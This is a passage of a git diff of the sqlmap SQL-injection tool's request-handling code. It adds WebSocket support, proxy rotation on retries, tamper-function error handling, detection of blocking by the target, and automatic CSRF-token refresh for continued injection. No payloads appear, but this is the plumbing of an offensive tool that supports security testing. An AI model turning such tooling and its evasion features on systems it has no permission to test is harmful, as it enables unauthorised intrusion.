getPublicTypeMembers(HTTP_HEADER, True)): + try: + headers[_str(key)] = value # dirty hack for http://bugs.python.org/issue12455 + except UnicodeEncodeError: # don't do the hack on non-ASCII header names (they have to be properly encoded later on) + pass + else: + success = True + if not success: + key = '-'.join(_.capitalize() for _ in key.split('-')) + headers[key] = value if conf.cj: if HTTP_HEADER.COOKIE in headers: @@ -72,8 +100,8 @@ def forgeHeaders(items=None): _ = readInput(message, default="Y") kb.mergeCookies = not _ or _[0] in ("y", "Y") - if kb.mergeCookies: - _ = lambda x: re.sub("(?i)%s=[^%s]+" % (cookie.name, DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, cookie.value), x) + if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: + _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(cookie.name), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, getUnicode(cookie.value)), x) headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: @@ -82,9 +110,9 @@ def forgeHeaders(items=None): conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders] elif not kb.testMode: - headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (DEFAULT_COOKIE_DELIMITER, cookie.name, cookie.value) + headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, cookie.name, getUnicode(cookie.value)) - if kb.testMode: + if kb.testMode and not conf.csrfToken: resetCookieJar(conf.cj) return headers @@ -120,7 +148,7 @@ def checkCharEncoding(encoding, warn=True): return encoding # Reference: http://www.destructor.de/charsets/index.htm - translate = {"windows-874": "iso-8859-11", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1"} + translate = {"windows-874": "iso-8859-11", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932"} for delimiter in (';', ',', '('): if delimiter in encoding: @@ -137,8 +165,8 @@ def checkCharEncoding(encoding, warn=True): encoding = encoding.replace("5589", "8859") # iso-5589 -> iso-8859 elif "2313" in encoding: encoding = encoding.replace("2313", "2312") # gb2313 -> gb2312 - elif "x-euc" in encoding: - encoding = encoding.replace("x-euc", "euc") # x-euc-kr -> euc-kr + elif encoding.startswith("x-"): + encoding = encoding[len("x-"):] # x-euc-kr -> euc-kr / x-mac-turkish -> mac-turkish elif "windows-cp" in encoding: encoding = encoding.replace("windows-cp", "windows") # windows-cp-1254 -> windows-1254 @@ -173,7 +201,7 @@ def checkCharEncoding(encoding, warn=True): except LookupError: if warn: warnMsg = "unknown web page charset '%s'. " % encoding - warnMsg += "Please report by e-mail to %s." % ML + warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" singleTimeLogMessage(warnMsg, logging.WARN, encoding) encoding = None @@ -236,7 +264,7 @@ def decodePage(page, contentEncoding, contentType): if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset)))\ or (httpCharset == metaCharset and all((httpCharset, metaCharset))): - kb.pageEncoding = httpCharset or metaCharset + kb.pageEncoding = httpCharset or metaCharset # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence debugMsg = "declared web page charset '%s'" % kb.pageEncoding singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg) else: @@ -246,39 +274,45 @@ def decodePage(page, contentEncoding, contentType): # can't do for all responses because we need to support binary files too if contentType and not isinstance(page, unicode) and "text/" in contentType.lower(): - # e.g. Ãëàâà - if "&#" in page: - page = re.sub(r"&#(\d{1,3});", lambda _: chr(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page) + if kb.heuristicMode: + kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) + page = getUnicode(page, kb.pageEncoding) + else: + # e.g. Ãëàâà + if "&#" in page: + page = re.sub(r"&#(\d{1,3});", lambda _: chr(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page) - # e.g. %20%28%29 - if "%" in page: - page = re.sub(r"%([0-9a-fA-F]{2})", lambda _: _.group(1).decode("hex"), page) + # e.g. %20%28%29 + if "%" in page: + page = re.sub(r"%([0-9a-fA-F]{2})", lambda _: _.group(1).decode("hex"), page) - # e.g. & - page = re.sub(r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page) + # e.g. & + page = re.sub(r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page) - kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) - page = getUnicode(page, kb.pageEncoding) + kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) + page = getUnicode(page, kb.pageEncoding) - # e.g. ’…™ - if "&#" in page: - def _(match): - retVal = match.group(0) - try: - retVal = unichr(int(match.group(1))) - except ValueError: - pass - return retVal - page = re.sub(r"&#(\d+);", _, page) + # e.g. ’…™ + if "&#" in page: + def _(match): + retVal = match.group(0) + try: + retVal = unichr(int(match.group(1))) + except ValueError: + pass + return retVal + page = re.sub(r"&#(\d+);", _, page) - # e.g. ζ - page = re.sub(r"&([^;]+);", lambda _: unichr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 0) > 255 else _.group(0), page) + # e.g. ζ + page = re.sub(r"&([^;]+);", lambda _: unichr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 0) > 255 else _.group(0), page) return page def processResponse(page, responseHeaders): kb.processResponseCounter += 1 + page = page or "" + parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None) if conf.parseErrors: @@ -297,3 +331,7 @@ def processResponse(page, responseHeaders): continue conf.paramDict[PLACE.POST][name] = value conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST]) + + if re.search(BLOCKED_IP_REGEX, page): + errMsg = "it appears that you have been blocked by the target server" + singleTimeLogMessage(errMsg, logging.ERROR) diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index 0631debad..487dac387 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 2db1e8975..0cfb53957 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -90,7 +90,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if kb.nullConnection and pageLength: if not seqMatcher.a: - errMsg = "problem occured while retrieving original page content " + errMsg = "problem occurred while retrieving original page content " errMsg += "which prevents sqlmap from continuation. Please rerun, " errMsg += "and if the problem persists turn off any optimization switches" raise SqlmapNoneDataException(errMsg) @@ -132,8 +132,21 @@ def _comparison(page, headers, code, getRatioValue, pageLength): seq1 = seq1[count:] seq2 = seq2[count:] - seqMatcher.set_seq1(seq1) - seqMatcher.set_seq2(seq2) + while True: + try: + seqMatcher.set_seq1(seq1) + except MemoryError: + seq1 = seq1[:len(seq1) / 1024] + else: + break + + while True: + try: + seqMatcher.set_seq2(seq2) + except MemoryError: + seq2 = seq2[:len(seq2) / 1024] + else: + break ratio = round(seqMatcher.quick_ratio(), 3) diff --git a/lib/request/connect.py b/lib/request/connect.py index 7a964d84d..b3fe886f1 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,20 +1,30 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import compiler import httplib import json +import keyword import logging import re import socket import string +import struct import time +import traceback import urllib2 import urlparse -import traceback + +try: + import websocket + from websocket import WebSocketException +except ImportError: + class WebSocketException(Exception): + pass from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent @@ -22,10 +32,12 @@ from lib.core.common import asciifyUrl from lib.core.common import calculateDeltaSeconds from lib.core.common import clearConsoleLine from lib.core.common import cpuThrottle +from lib.core.common import dataToStdout from lib.core.common import evaluateCode from lib.core.common import extractRegexResult from lib.core.common import findMultipartPostBoundary from lib.core.common import getCurrentThreadData +from lib.core.common import getHeader from lib.core.common import getHostHeader from lib.core.common import getRequestHeader from lib.core.common import getUnicode @@ -61,12 +73,16 @@ from lib.core.enums import REDIRECTION from lib.core.enums import WEB_API from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapTokenException from lib.core.exception import SqlmapValueException from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_CONTENT_TYPE +from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER +from lib.core.settings import EVALCODE_KEYWORD_SUFFIX from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE @@ -79,6 +95,8 @@ from lib.core.settings import LARGE_CHUNK_TRIM_MARKER from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PERMISSION_DENIED_REGEX from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE +from lib.core.settings import REPLACEMENT_MARKER +from lib.core.settings import TEXT_CONTENT_TYPE_REGEX from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import WARN_TIME_STDEV @@ -88,8 +106,9 @@ from lib.request.basic import processResponse from lib.request.direct import direct from lib.request.comparison import comparison from lib.request.methodrequest import MethodRequest -from thirdparty.socks.socks import ProxyError from thirdparty.multipart import multipartpost +from thirdparty.odict.odict import OrderedDict +from thirdparty.socks.socks import ProxyError class Connect(object): @@ -106,6 +125,13 @@ class Connect(object): threadData = getCurrentThreadData() threadData.retriesCount += 1 + if conf.proxyList and threadData.retriesCount >= conf.retries: + warnMsg = "changing proxy" + logger.warn(warnMsg) + + conf.proxy = None + setHTTPProxy() + if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME: # timed based payloads can cause web server unresponsiveness # if the injectable piece of code is some kind of JOIN-like query @@ -148,7 +174,7 @@ class Connect(object): if not kb.dnsMode and conn: headers = conn.info() - if headers and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\ + if headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\ or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE) if len(retVal) == MAX_CONNECTION_TOTAL_SIZE: @@ -181,13 +207,13 @@ class Connect(object): the target URL page content """ - if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0: + if isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) elif conf.cpuThrottle: cpuThrottle(conf.cpuThrottle) if conf.dummy: - return randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt()) + return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None threadData = getCurrentThreadData() with kb.locks.request: @@ -215,6 +241,8 @@ class Connect(object): crawling = kwargs.get("crawling", False) skipRead = kwargs.get("skipRead", False) + websocket_ = url.lower().startswith("ws") + if not urlparse.urlsplit(url).netloc: url = urlparse.urljoin(conf.url, url) @@ -248,10 +276,6 @@ class Connect(object): # support those by default url = asciifyUrl(url) - # fix for known issues when using url in unicode format - # (e.g. UnicodeDecodeError: "url = url + '?' + query" in redirect case) - url = unicodeencode(url) - try: socket.setdefaulttimeout(timeout) @@ -260,7 +284,6 @@ class Connect(object): url, params = url.split('?', 1) params = urlencode(params) url = "%s?%s" % (url, params) - requestMsg += "?%s" % params elif multipart: # Needed in this form because of potential circle dependency @@ -291,10 +314,14 @@ class Connect(object): get = urlencode(get, limit=True) if get: - url = "%s?%s" % (url, get) - requestMsg += "?%s" % get + if '?' in url: + url = "%s%s%s" % (url, DEFAULT_GET_POST_DELIMITER, get) + requestMsg += "%s%s" % (DEFAULT_GET_POST_DELIMITER, get) + else: + url = "%s?%s" % (url, get) + requestMsg += "?%s" % get - if PLACE.POST in conf.parameters and not post and method in (None, HTTPMETHOD.POST): + if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET: post = conf.parameters[PLACE.POST] elif get: @@ -304,7 +331,7 @@ class Connect(object): requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str # Prepare HTTP headers - headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer}) + headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}) if kb.authHeader: headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader @@ -312,11 +339,16 @@ class Connect(object): if kb.proxyAuthHeader: headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader - headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE - headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" - headers[HTTP_HEADER.HOST] = host or getHostHeader(url) + if not getHeader(headers, HTTP_HEADER.ACCEPT): + headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE - if post is not None and HTTP_HEADER.CONTENT_TYPE not in headers: + if not getHeader(headers, HTTP_HEADER.HOST) or not target: + headers[HTTP_HEADER.HOST] = getHostHeader(url) + + if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING): + headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" + + if post is not None and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE): headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE) if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]: @@ -330,71 +362,101 @@ class Connect(object): if auxHeaders: for key, item in auxHeaders.items(): + for _ in headers.keys(): + if _.upper() == key.upper(): + del headers[_] headers[key] = item for key, item in headers.items(): del headers[key] headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding) + url = unicodeencode(url) post = unicodeencode(post, kb.pageEncoding) - if method: - req = MethodRequest(url, post, headers) - req.set_method(method) + if websocket_: + ws = websocket.WebSocket() + ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically + ws.send(urldecode(post or "")) + page = ws.recv() + ws.close() + code = ws.status + status = httplib.responses[code] + class _(dict): + pass + responseHeaders = _(ws.getheaders()) + responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] + + requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()) + requestMsg += "\n%s" % requestHeaders + + if post is not None: + requestMsg += "\n\n%s" % getUnicode(post) + + requestMsg += "\n" + + threadData.lastRequestMsg = requestMsg + + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) else: - req = urllib2.Request(url, post, headers) + if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST): + method = unicodeencode(method) + req = MethodRequest(url, post, headers) + req.set_method(method) + else: + req = urllib2.Request(url, post, headers) - requestHeaders += "\n".join("%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in req.header_items()) + requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()) - if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: - conf.cj._policy._now = conf.cj._now = int(time.time()) - cookies = conf.cj._cookies_for_request(req) - requestHeaders += "\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) + if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: + conf.cj._policy._now = conf.cj._now = int(time.time()) + cookies = conf.cj._cookies_for_request(req) + requestHeaders += "\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) - if post is not None: - if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH): - requestHeaders += "\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) + if post is not None: + if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH): + requestHeaders += "\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) - if not getRequestHeader(req, HTTP_HEADER.CONNECTION): - requestHeaders += "\n%s: close" % HTTP_HEADER.CONNECTION + if not getRequestHeader(req, HTTP_HEADER.CONNECTION): + requestHeaders += "\n%s: close" % HTTP_HEADER.CONNECTION - requestMsg += "\n%s" % requestHeaders + requestMsg += "\n%s" % requestHeaders - if post is not None: - requestMsg += "\n\n%s" % getUnicode(post) + if post is not None: + requestMsg += "\n\n%s" % getUnicode(post) - requestMsg += "\n" + requestMsg += "\n" - threadData.lastRequestMsg = requestMsg + threadData.lastRequestMsg = requestMsg - logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) - conn = urllib2.urlopen(req) + conn = urllib2.urlopen(req) - if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and conf.aType == AUTH_TYPE.BASIC: - kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) + if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): + kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) - if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): - kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION) + if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): + kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION) - # Return response object - if response: - return conn, None, None + # Return response object + if response: + return conn, None, None - # Get HTTP response - if hasattr(conn, 'redurl'): - page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\ - else Connect._connReadProxy(conn)) if not skipRead else None - skipLogTraffic = kb.redirectChoice == REDIRECTION.NO - code = conn.redcode - else: - page = Connect._connReadProxy(conn) if not skipRead else None + # Get HTTP response + if hasattr(conn, 'redurl'): + page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\ + else Connect._connReadProxy(conn)) if not skipRead else None + skipLogTraffic = kb.redirectChoice == REDIRECTION.NO + code = conn.redcode + else: + page = Connect._connReadProxy(conn) if not skipRead else None - code = code or conn.code - responseHeaders = conn.info() - responseHeaders[URI_HTTP_HEADER] = conn.geturl() - page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) - status = getUnicode(conn.msg) + code = code or conn.code + responseHeaders = conn.info() + responseHeaders[URI_HTTP_HEADER] = conn.geturl() + page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) + status = getUnicode(conn.msg) if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing: url = extractRegexResult(META_REFRESH_REGEX, page) @@ -428,13 +490,13 @@ class Connect(object): pass # Explicit closing of connection object - if not conf.keepAlive: + if conn and not conf.keepAlive: try: if hasattr(conn.fp, '_sock'): conn.fp._sock.close() conn.close() except Exception, msg: - warnMsg = "problem occured during connection closing ('%s')" % msg + warnMsg = "problem occurred during connection closing ('%s')" % msg logger.warn(warnMsg) except urllib2.HTTPError, e: @@ -459,8 +521,9 @@ class Connect(object): page = page if isinstance(page, unicode) else getUnicode(page) code = e.code - threadData.lastHTTPError = (threadData.lastRequestUID, code) + kb.originalCode = kb.originalCode or code + threadData.lastHTTPError = (threadData.lastRequestUID, code) kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 status = getUnicode(e.msg) @@ -480,7 +543,7 @@ class Connect(object): logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - if e.code == httplib.UNAUTHORIZED: + if e.code == httplib.UNAUTHORIZED and not conf.ignore401: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d)" % code raise SqlmapConnectionException(errMsg) @@ -510,25 +573,35 @@ class Connect(object): debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg) - except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine, httplib.IncompleteRead, ProxyError, SqlmapCompressionException), e: + except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine, httplib.IncompleteRead, httplib.ResponseNotReady, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e: tbMsg = traceback.format_exc() if "no host given" in tbMsg: warnMsg = "invalid URL address used (%s)" % repr(url) raise SqlmapSyntaxException(warnMsg) - elif "forcibly closed" in tbMsg: + elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg: warnMsg = "connection was forcibly closed by the target URL" elif "timed out" in tbMsg: + if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): + singleTimeWarnMessage("there is a possibility that the target (or WAF) is dropping 'suspicious' requests") warnMsg = "connection timed out to the target URL" elif "URLError" in tbMsg or "error" in tbMsg: warnMsg = "unable to connect to the target URL" + elif "NTLM" in tbMsg: + warnMsg = "there has been a problem with NTLM authentication" elif "BadStatusLine" in tbMsg: warnMsg = "connection dropped or unknown HTTP " - warnMsg += "status code received. Try to force the HTTP User-Agent " - warnMsg += "header with option '--user-agent' or switch '--random-agent'" + warnMsg += "status code received" + if not conf.agent and not conf.randomAgent: + warnMsg += ". Try to force the HTTP User-Agent " + warnMsg += "header with option '--user-agent' or switch '--random-agent'" elif "IncompleteRead" in tbMsg: warnMsg = "there was an incomplete read error while retrieving data " warnMsg += "from the target URL" + elif "Handshake status" in tbMsg: + status = re.search("Handshake status ([\d]{3})", tbMsg) + errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown" + raise SqlmapConnectionException(errMsg) else: warnMsg = "unable to connect to the target URL" @@ -553,7 +626,11 @@ class Connect(object): raise SqlmapConnectionException(warnMsg) finally: - page = page if isinstance(page, unicode) else getUnicode(page) + if not isinstance(page, unicode): + if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): + page = unicode(page, errors="ignore") + else: + page = getUnicode(page) socket.setdefaulttimeout(conf.timeout) processResponse(page, responseHeaders) @@ -561,7 +638,13 @@ class Connect(object): if conn and getattr(conn, "redurl", None): _ = urlparse.urlsplit(conn.redurl) _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) - requestMsg = re.sub("(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % getUnicode(_), requestMsg, 1) + requestMsg = re.sub("(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % re.escape(getUnicode(_)), requestMsg, 1) + + if kb.resendPostOnRedirect is False: + requestMsg = re.sub("(\[#\d+\]:\n)POST ", "\g<1>GET ", requestMsg) + requestMsg = re.sub("(?i)Content-length: \d+\n", "", requestMsg) + requestMsg = re.sub("(?s)\n\n.+", "\n", requestMsg) + responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, conn.code, status) else: responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status) @@ -602,24 +685,26 @@ class Connect(object): pageLength = None uri = None code = None - urlEncodePost = None if not place: place = kb.injection.place or PLACE.GET + if not auxHeaders: + auxHeaders = {} + raise404 = place != PLACE.URI if raise404 is None else raise404 + method = method or conf.method value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if conf.httpHeaders: - headers = dict(conf.httpHeaders) + headers = OrderedDict(conf.httpHeaders) contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) - urlEncodePost = contentType and "urlencoded" in contentType or contentType is None - if (kb.postHint or conf.skipUrlEncode) and urlEncodePost: - urlEncodePost = False + if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode: + kb.postUrlEncode = False conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) @@ -627,7 +712,13 @@ class Connect(object): if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: - payload = function(payload=payload, headers=auxHeaders) + try: + payload = function(payload=payload, headers=auxHeaders) + except Exception, ex: + errMsg = "error occurred while running tamper " + errMsg += "function '%s' ('%s')" % (function.func_name, ex) + raise SqlmapGenericException(errMsg) + if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) @@ -637,7 +728,7 @@ class Connect(object): logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) - if place == PLACE.CUSTOM_POST: + if place == PLACE.CUSTOM_POST and kb.postHint: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts @@ -647,11 +738,18 @@ class Connect(object): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] + elif kb.postHint == POST_HINT.JSON_LIKE: + payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') + if payload.startswith('"') and payload.endswith('"'): + payload = json.dumps(payload[1:-1]) + else: + payload = json.dumps(payload)[1:-1] + payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') value = agent.replacePayload(value, payload) else: - # GET, POST, URI and Cookie payload needs to be throughly URL encoded - if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST,) and urlEncodePost: - payload = urlencode(payload, '%', False, place != PLACE.URI) + # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded + if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode: + payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below value = agent.replacePayload(value, payload) if conf.hpp: @@ -715,56 +813,160 @@ class Connect(object): uri = conf.url if value and place == PLACE.CUSTOM_HEADER: - if not auxHeaders: - auxHeaders = {} auxHeaders[value.split(',')[0]] = value.split(',', 1)[1] + if conf.csrfToken: + def _adjustParameter(paramString, parameter, newValue): + retVal = paramString + match = re.search("%s=(?P[^&]*)" % re.escape(parameter), paramString) + if match: + origValue = match.group("value") + retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString) + return retVal + + page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + match = re.search(r"]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % re.escape(conf.csrfToken), page or "") + token = (match.group(2) or match.group(3) or match.group(4)) if match else None + + if not token: + if conf.csrfUrl != conf.url and code == httplib.OK: + if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): + token = page + + if not token and any(_.name == conf.csrfToken for _ in conf.cj): + for _ in conf.cj: + if _.name == conf.csrfToken: + token = _.value + if not any (conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), 